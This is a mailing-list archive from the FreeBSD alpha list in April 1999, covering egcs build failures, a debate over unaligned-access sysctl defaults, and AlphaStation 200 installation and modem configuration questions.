Alpha and was reviewing the logs and noticed a number of places where ports were failing to build with an error like: .../function.c:2392: Internal compiler error in function fixup_memory_subreg I attached a log of one example, the Xaw3d port. I tried building with -O, -O2, -Os, and without any optimization. They all failed except for when optimization was turned off. The log is a 'gcc -v' for Scrollbar.c without optimization and with -O, just so you can see one that fails and one that doesn't. It would be easy to just build the port without optimization, but that is the chicken's way out and it doesn't really address the problem. :) Any ideas? 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Lambert Message-Id: <199904172252.PAA22325@usr08.primenet.com> Subject: Re: egcs ready for alpha? To: obrien@NUXI.com Date: Sat, 17 Apr 1999 22:52:12 +0000 (GMT) Cc: paul@originative.co.uk, gallatin@cs.duke.edu, mjacob@feral.com, mike@smith.net.au, alpha@FreeBSD.ORG In-Reply-To: <19990416164206.A69424@nuxi.com> from "David O'Brien" at Apr 16, 99 04:42:06 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > +#if 0 > > > > *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; > > It might be better to remove the cast of nextblock and dp and see what > warnings EGCS gives. The ficl and vinum code had weird union casts that > had to be reworked for egcs. In the above, I bet there is an alignment > issue wth EGCS using a different alightment rule than gcc did. Specifically, I think it would work with a #pragma pack(4); I believe the default structure packing on Alpha for EGCS is 8. In general, when you are using a structure whose data is externalized, and you want it to be portable, you should either serialize it (XDR the data into a character buffor on the way in and out), or you should use a #pragma pack(1). There are a number of problems with this on the Alpha, since the Alpha does not like unaligned data accesses. Unfortuantely, a recent commit put a fault handler in that does fixups on unaligned accesses, and the damn this is defaulted to "on", which does a fat lot of good for getting these problems *resolved* instead of *masked*. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 16: 4:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id E1FB114D49 for ; Sat, 17 Apr 1999 16:04:07 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id AAA85037; Sun, 18 Apr 1999 00:06:12 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 18 Apr 1999 00:06:11 +0100 (BST) From: Doug Rabson To: Terry Lambert Cc: obrien@NUXI.com, paul@originative.co.uk, gallatin@cs.duke.edu, mjacob@feral.com, mike@smith.net.au, alpha@freebsd.org Subject: Re: egcs ready for alpha? In-Reply-To: <199904172252.PAA22325@usr08.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 17 Apr 1999, Terry Lambert wrote: > > > > > +#if 0 > > > > > *(union u_spcl *)(*(nextblock)++) = *(union u_spcl *)dp; > > > > It might be better to remove the cast of nextblock and dp and see what > > warnings EGCS gives. The ficl and vinum code had weird union casts that > > had to be reworked for egcs. In the above, I bet there is an alignment > > issue wth EGCS using a different alightment rule than gcc did. > > Specifically, I think it would work with a #pragma pack(4); I believe > the default structure packing on Alpha for EGCS is 8. > > In general, when you are using a structure whose data is externalized, > and you want it to be portable, you should either serialize it (XDR > the data into a character buffor on the way in and out), or you should > use a #pragma pack(1). > > There are a number of problems with this on the Alpha, since the Alpha > does not like unaligned data accesses. Unfortuantely, a recent commit > put a fault handler in that does fixups on unaligned accesses, and the > damn this is defaulted to "on", which does a fat lot of good for getting > these problems *resolved* instead of *masked*. Terry, get your facts right. FreeBSD/alpha has always had an unaligned fault handler (which came from NetBSD verbatim). The recent commit was a sysctl variable to turn the fault handler *off*. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 16: 4:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 0155A14D49 for ; Sat, 17 Apr 1999 16:04:18 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id TAA08960; Sat, 17 Apr 1999 19:01:54 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id TAA15182; Sat, 17 Apr 1999 19:01:45 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sat, 17 Apr 1999 19:01:45 -0400 (EDT) To: Terry Lambert Cc: alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: <199904172252.PAA22325@usr08.primenet.com> References: <19990416164206.A69424@nuxi.com> <199904172252.PAA22325@usr08.primenet.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14105.4357.904716.780151@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Terry Lambert writes: > does not like unaligned data accesses. Unfortuantely, a recent commit > put a fault handler in that does fixups on unaligned accesses, and the > damn this is defaulted to "on", which does a fat lot of good for getting > these problems *resolved* instead of *masked*. > Well, had you paid attention to said commit, you'd realize that the default behaviour HAS NOT CHANGED. What this commit has added is the ability for the administrator to change this behaviour on a global basis via a sysctl. (rather than stabbing at it w/ddb) Really, the fixup/whine/bus-error choice should be made on a per-process basis (as in Digital UNIX's uac command). This allows you to turn on silent fixups for broken closed-source programs you cannot fix.. ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 16:34:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id 2935D14EE9 for ; Sat, 17 Apr 1999 16:34:47 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.8/8.8.8) id RAA04921; Sat, 17 Apr 1999 17:57:29 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp04.primenet.com, id smtpd004908; Sat Apr 17 17:57:27 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id QAA23509; Sat, 17 Apr 1999 16:32:20 -0700 (MST) From: Terry Lambert Message-Id: <199904172332.QAA23509@usr08.primenet.com> Subject: Re: egcs ready for alpha? To: gallatin@cs.duke.edu (Andrew Gallatin) Date: Sat, 17 Apr 1999 23:32:20 +0000 (GMT) Cc: tlambert@primenet.com, alpha@FreeBSD.ORG In-Reply-To: <14105.4357.904716.780151@grasshopper.cs.duke.edu> from "Andrew Gallatin" at Apr 17, 99 07:01:45 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > does not like unaligned data accesses. Unfortuantely, a recent commit > > put a fault handler in that does fixups on unaligned accesses, and the > > damn this is defaulted to "on", which does a fat lot of good for getting > > these problems *resolved* instead of *masked*. > > Well, had you paid attention to said commit, you'd realize that the > default behaviour HAS NOT CHANGED. What this commit has added is the > ability for the administrator to change this behaviour on a global > basis via a sysctl. (rather than stabbing at it w/ddb) > > Really, the fixup/whine/bus-error choice should be made on a > per-process basis (as in Digital UNIX's uac command). This allows you > to turn on silent fixups for broken closed-source programs you cannot > fix.. I think you missed the subsequent discussion about the fact that it was defaulting to zero, and the original author's intention to change it to default to 1, since he though that what had been committed would default to 1 automatically. If your response is intended to indicate that this *won't* be defaulted to 1, then I am very, very happy. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 16:40:33 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id 29DA114EE9 for ; Sat, 17 Apr 1999 16:40:31 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.8/8.8.8) id SAA06012; Sat, 17 Apr 1999 18:03:14 -0700 (MST) Received: from usr08.primenet.com(206.165.6.208) via SMTP by smtp04.primenet.com, id smtpd005993; Sat Apr 17 18:03:05 1999 Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id QAA23661; Sat, 17 Apr 1999 16:37:52 -0700 (MST) From: Terry Lambert Message-Id: <199904172337.QAA23661@usr08.primenet.com> Subject: Re: egcs ready for alpha? To: dfr@nlsystems.com (Doug Rabson) Date: Sat, 17 Apr 1999 23:37:52 +0000 (GMT) Cc: tlambert@primenet.com, obrien@NUXI.com, paul@originative.co.uk, gallatin@cs.duke.edu, mjacob@feral.com, mike@smith.net.au, alpha@freebsd.org In-Reply-To: from "Doug Rabson" at Apr 18, 99 00:06:11 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Unfortuantely, a recent commit > > put a fault handler in that does fixups on unaligned accesses, and the > > damn this is defaulted to "on", which does a fat lot of good for getting > > these problems *resolved* instead of *masked*. > > Terry, get your facts right. FreeBSD/alpha has always had an unaligned > fault handler (which came from NetBSD verbatim). The recent commit was a > sysctl variable to turn the fault handler *off*. Doug, the commit originally defaulted the vaule to "off", but was "corrected" to default it to "on", which is never going to identify the problems adequately. FreeBSD has historically done things like defaulting TCP/IP extensions to on, and unmapping page zero, even though this has caused broken code to explode. Then the broken code, including the firmware in Livingston Portmasters, gets fixed, and the world is a better place for the default that is correct, but results in exploding code. I believe the original commit of this sysctl, which defaulted the value to "off" to be *correct*, if inconvenient for people who would rather dig a new pot-hole than spend time filling an old one in. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 17:58:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id D4F2214E3C for ; Sat, 17 Apr 1999 17:58:01 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id UAA10161; Sat, 17 Apr 1999 20:55:36 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id UAA18584; Sat, 17 Apr 1999 20:55:27 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sat, 17 Apr 1999 20:55:27 -0400 (EDT) To: Terry Lambert Cc: alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: <199904172332.QAA23509@usr08.primenet.com> References: <14105.4357.904716.780151@grasshopper.cs.duke.edu> <199904172332.QAA23509@usr08.primenet.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14105.8549.100121.12762@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Terry Lambert writes: > > > does not like unaligned data accesses. Unfortuantely, a recent commit > > > put a fault handler in that does fixups on unaligned accesses, and the > > > damn this is defaulted to "on", which does a fat lot of good for getting > > > these problems *resolved* instead of *masked*. > > > > Well, had you paid attention to said commit, you'd realize that the > > default behaviour HAS NOT CHANGED. What this commit has added is the > > ability for the administrator to change this behaviour on a global > > basis via a sysctl. (rather than stabbing at it w/ddb) > > > > Really, the fixup/whine/bus-error choice should be made on a > > per-process basis (as in Digital UNIX's uac command). This allows you > > to turn on silent fixups for broken closed-source programs you cannot > > fix.. > > I think you missed the subsequent discussion about the fact that it > was defaulting to zero, and the original author's intention to change > it to default to 1, since he though that what had been committed would > default to 1 automatically. > > If your response is intended to indicate that this *won't* be defaulted > to 1, then I am very, very happy. > Given that there are multiple sysctl's defining the behaviour, I'm not sure what what you mean by zero and one, but I assume you mean you want it to default to machdep.unaligned_sigbus=1? Well, currently it defaults to: machdep.unaligned_print: 1 machdep.unaligned_fix: 1 machdep.unaligned_sigbus: 0 This amounts to what I call 'whiny fixup', which is the behaviour people have come to expect when running on this platform. At least this is what Digital UNIX, NetBSD and Linux default to. All Hidetoshi Shimokawa's commit did was to give you the ability to easily change this default via a sysctl. ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 19:25:12 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 3966914C34 for ; Sat, 17 Apr 1999 19:25:09 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 94175 invoked from network); 18 Apr 1999 02:22:45 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 18 Apr 1999 02:22:45 -0000 Received: from achat.sat.t.u-tokyo.ac.jp (achat.sat.t.u-tokyo.ac.jp [10.6.1.121]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 707832DAB0; Sun, 18 Apr 1999 11:22:44 +0900 (JST) Received: from achat.sat.t.u-tokyo.ac.jp by achat.sat.t.u-tokyo.ac.jp (8.9.3/sat-V0.6) id LAA47504; Sun, 18 Apr 1999 11:22:45 +0900 (JST) Date: Sun, 18 Apr 1999 11:22:44 +0900 Message-ID: <14105.16884.141648.64658E@achat.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: gallatin@cs.duke.edu Cc: tlambert@primenet.com, alpha@FreeBSD.ORG Subject: Re: egcs ready for alpha? In-Reply-To: In your message of "Sat, 17 Apr 1999 20:55:27 -0400 (EDT)" <14105.8549.100121.12762@grasshopper.cs.duke.edu> References: <199904172332.QAA23509@usr08.primenet.com> <14105.4357.904716.780151@grasshopper.cs.duke.edu> <14105.8549.100121.12762@grasshopper.cs.duke.edu> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.0 (Poitou) (alpha-unknown-freebsd4.0) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > Given that there are multiple sysctl's defining the behaviour, I'm not > sure what what you mean by zero and one, but I assume you mean you > want it to default to machdep.unaligned_sigbus=1? > > Well, currently it defaults to: > > machdep.unaligned_print: 1 > machdep.unaligned_fix: 1 > machdep.unaligned_sigbus: 0 > > This amounts to what I call 'whiny fixup', which is the behaviour > people have come to expect when running on this platform. At least > this is what Digital UNIX, NetBSD and Linux default to. > > All Hidetoshi Shimokawa's commit did was to give you the ability to > easily change this default via a sysctl. > Thank you for your explanation. This is exactly what I did. In my local tree, I replaced uprintf's with printf's for printing unaligned access so that they will be logged by syslogd. I have also 'machdep.unaligned_sigbus=1' in my rc.local to prevent too much warnnings. /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 17 23:48:14 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 11ACD14CE5 for ; Sat, 17 Apr 1999 23:48:09 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id QAA11284 for ; Sun, 18 Apr 1999 16:15:44 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id QAA39860 for FreeBSD-alpha@FreeBSD.org; Sun, 18 Apr 1999 16:15:42 +0930 (CST) Message-ID: <19990418161542.G37994@lemis.com> Date: Sun, 18 Apr 1999 16:15:42 +0930 From: Greg Lehey To: FreeBSD-alpha@FreeBSD.org Subject: Difficulties installing on alpha (was: Please-someone help me) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This has been hanging around in -questions for a few days without answers. Is it appropriate to redirect this sort of thing to -alpha? Greg ----- Forwarded message from Philip Rust ----- > Delivered-To: freebsd-questions@freebsd.org > Date: Thu, 15 Apr 1999 18:44:58 -0500 (CDT) > To: freebsd-questions@FreeBSD.ORG > X-Loop: FreeBSD.ORG > Precedence: bulk > Hi guys, > I am having a big problem that I have been working on for 2 > weeks. I am sure there is an easy solution, I am just not as Unix smart > as some of you. I have an AlphaStation 200 that I am trying to install > FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from > cdrom). I boot with the kern.flp and mfsboot.flp(?) and everything goes > okay so far. The installation menu comes up and I choose the beginners > installation and proceed. Basically, in the whole installation process, > I am never given an opportunity to choose how I want to boot from my hard > drive. Towards the end of the installation I get a message that says > something like: kernel copied okay, but unable to save boot -c changes. > (or something to that effect). So, at this point the installation > appears to be done, but for some reason I am taken back to the > installation menu. I then reboot and enter 'boot dka0' to boot from the > hard drive. Now, I had OpenBSD on this machine before FreeBSD, and when > I now try to boot from my hard drive, it still tries to boot OpenBSD (but > errors out). Apparently, during the FreeBSD installation nothing was > changed on the master boot record (i am guessing). So anyways, I then > boot with the fixit disk and take a look at the hard drive, and > everything for FreeBSD appears to be there - as if it installed correctly. > SOOO... my problem is: Why can't I boot into FreeBSD? What can I do to > fix this? > I'm sorry this email is so long, but this has been frustrating and I > wanted to give you guys as much information as possible. Thanks a bunch, > and I really hope you guys can help me. > PS. The whole installation process for me from cdrom didn't really fall in > line with what the instructions say it should be. THANKS GUYS > I will be crossing my fingers :) > > Philip Rust | rust@seas.smu.edu \/_/ > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message ----- End forwarded message ----- -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 7:46:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from calis.blacksun.org (Calis.blacksun.org [168.100.186.40]) by hub.freebsd.org (Postfix) with ESMTP id 39C5C14BFA for ; Sun, 18 Apr 1999 07:46:32 -0700 (PDT) (envelope-from don@calis.blacksun.org) Received: from localhost (don@localhost) by calis.blacksun.org (8.9.2/8.9.2) with ESMTP id KAA18082; Sun, 18 Apr 1999 10:43:46 -0400 (EDT) (envelope-from don@calis.blacksun.org) Date: Sun, 18 Apr 1999 10:43:46 -0400 (EDT) From: Don To: Greg Lehey Cc: FreeBSD-alpha@FreeBSD.ORG Subject: Re: Difficulties installing on alpha (was: Please-someone help me) In-Reply-To: <19990418161542.G37994@lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > as some of you. I have an AlphaStation 200 that I am trying to install > > FreeBSD on with the alpha release on the 3.1 cdrom (i'm installing from The FreeBSD alpha port on the 3.1 cdroms are somewhat outdated and weren't entirely working. The alphastation 200 installs fine if you are using the latest release but you will need to install that via ftp. -Don To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 8:18:26 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 4992F154E5 for ; Sun, 18 Apr 1999 08:18:24 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-8.cybcon.com [205.147.75.137]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id IAA28077; Sun, 18 Apr 1999 08:15:47 -0700 (PDT) Message-Id: <199904181515.IAA28077@mail.cybcon.com> From: "William" To: "Don" , "Greg Lehey" Cc: Subject: Re: Difficulties installing on alpha (was: Please-someone help me) Date: Sun, 18 Apr 1999 08:15:19 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org System is alpha 200 4/233 I am currently trying to get out of ARC to the SRM. I have the latest firmware, renamed it to fwupdate.exe, copied it to a floppy, but when I go into "Installl New Firmware" on my system, it won't install it off the floppy, the error I get is: "Error bad device name/number or partition number , press any key to contuinue" I am not sure what am doing wrong here...... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 8:23:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id B4B4E154E5 for ; Sun, 18 Apr 1999 08:23:48 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id IAA02578; Sun, 18 Apr 1999 08:21:10 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: "William" Cc: "Don" , "Greg Lehey" , FreeBSD-alpha@FreeBSD.ORG Subject: Re: Difficulties installing on alpha (was: Please-someone help me) In-reply-to: Your message of "Sun, 18 Apr 1999 08:15:19 PDT." <199904181515.IAA28077@mail.cybcon.com> Date: Sun, 18 Apr 1999 08:21:10 -0700 Message-ID: <2576.924448870@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I am currently trying to get out of ARC to the SRM. I have the latest > firmware, renamed it to fwupdate.exe, copied it to a floppy, but when I go > into "Installl New Firmware" on my system, it won't install it off the > floppy, the error I get is: Is this a DOS floppy? - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 10:22:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id C9C2114DC1 for ; Sun, 18 Apr 1999 10:22:35 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-41.cybcon.com [205.147.75.170]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id KAA05447 for ; Sun, 18 Apr 1999 10:20:09 -0700 (PDT) Message-Id: <199904181720.KAA05447@mail.cybcon.com> From: "William" To: Subject: Internal modem on an alpha question.... Date: Sun, 18 Apr 1999 10:19:42 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, well I got this thig to boot, and got to sysinstall, but now it seems there is a modem on the wrong port or something. This alpha (200 4/233) has the 2 serial ports on it built in, and I want to use the internal modem I have. It is jumpered, I just need to know what com/irq to use for it, baring that, how can I disable an onboard com port so I can use it for the modem.... Thanks, Bill To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 10:57: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 17A2014BE5 for ; Sun, 18 Apr 1999 10:57:02 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id SAA90276; Sun, 18 Apr 1999 18:59:10 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 18 Apr 1999 18:59:10 +0100 (BST) From: Doug Rabson To: William Cc: freebsd-alpha@freebsd.org Subject: Re: Internal modem on an alpha question.... In-Reply-To: <199904181720.KAA05447@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 18 Apr 1999, William wrote: > OK, well I got this thig to boot, and got to sysinstall, but now it seems > there is a modem on the wrong port or something. This alpha (200 4/233) has > the 2 serial ports on it built in, and I want to use the internal modem I > have. It is jumpered, I just need to know what com/irq to use for it, > baring that, how can I disable an onboard com port so I can use it for the > modem.... Exactly what happens when you boot with the internal modem? What jumpers are available? If it is possible to map it to an unused irq and port range just edit the kernel config file to match sio2 against whatever address you jumpered the modem. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 12:50: 0 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail1.panix.com (mail1.panix.com [166.84.0.212]) by hub.freebsd.org (Postfix) with ESMTP id 3A1D414D3B for ; Sun, 18 Apr 1999 12:49:53 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail1.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id PAA11700; Sun, 18 Apr 1999 15:47:25 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id PAA23185; Sun, 18 Apr 1999 15:51:46 -0400 (EDT) Date: Sun, 18 Apr 1999 15:51:46 -0400 From: Thor Lancelot Simon To: Doug Rabson Cc: freebsd-alpha@freebsd.org Subject: Re: Internal modem on an alpha question.... Message-ID: <19990418155146.A23038@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <199904181720.KAA05447@mail.cybcon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Doug Rabson on Sun, Apr 18, 1999 at 06:59:10PM +0100 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Apr 18, 1999 at 06:59:10PM +0100, Doug Rabson wrote: > On Sun, 18 Apr 1999, William wrote: > > > OK, well I got this thig to boot, and got to sysinstall, but now it seems > > there is a modem on the wrong port or something. This alpha (200 4/233) has > > the 2 serial ports on it built in, and I want to use the internal modem I > > have. It is jumpered, I just need to know what com/irq to use for it, > > baring that, how can I disable an onboard com port so I can use it for the > > modem.... > > Exactly what happens when you boot with the internal modem? What jumpers > are available? If it is possible to map it to an unused irq and port range > just edit the kernel config file to match sio2 against whatever address > you jumpered the modem. I don't think that's going to work. At the very least, you need to use isacfg to tell the firmware where it is. Unfortunately, the AS200 isacfg is *extremely* buggy -- an interesting experiment is to look at the isacfg output for the WSS card, then pull the WSS, delete it with isacfg, then put it back in and try to re-add it -- there's no way to do so, because isacfg can't create its second drq entry! Generally, isacfg's Evil will prevent you from using many cards on the AS200. Thor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 18 18:52:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail0.mailsender.net (mail0.mailsender.net [209.132.1.30]) by hub.freebsd.org (Postfix) with SMTP id 7607314BD8 for ; 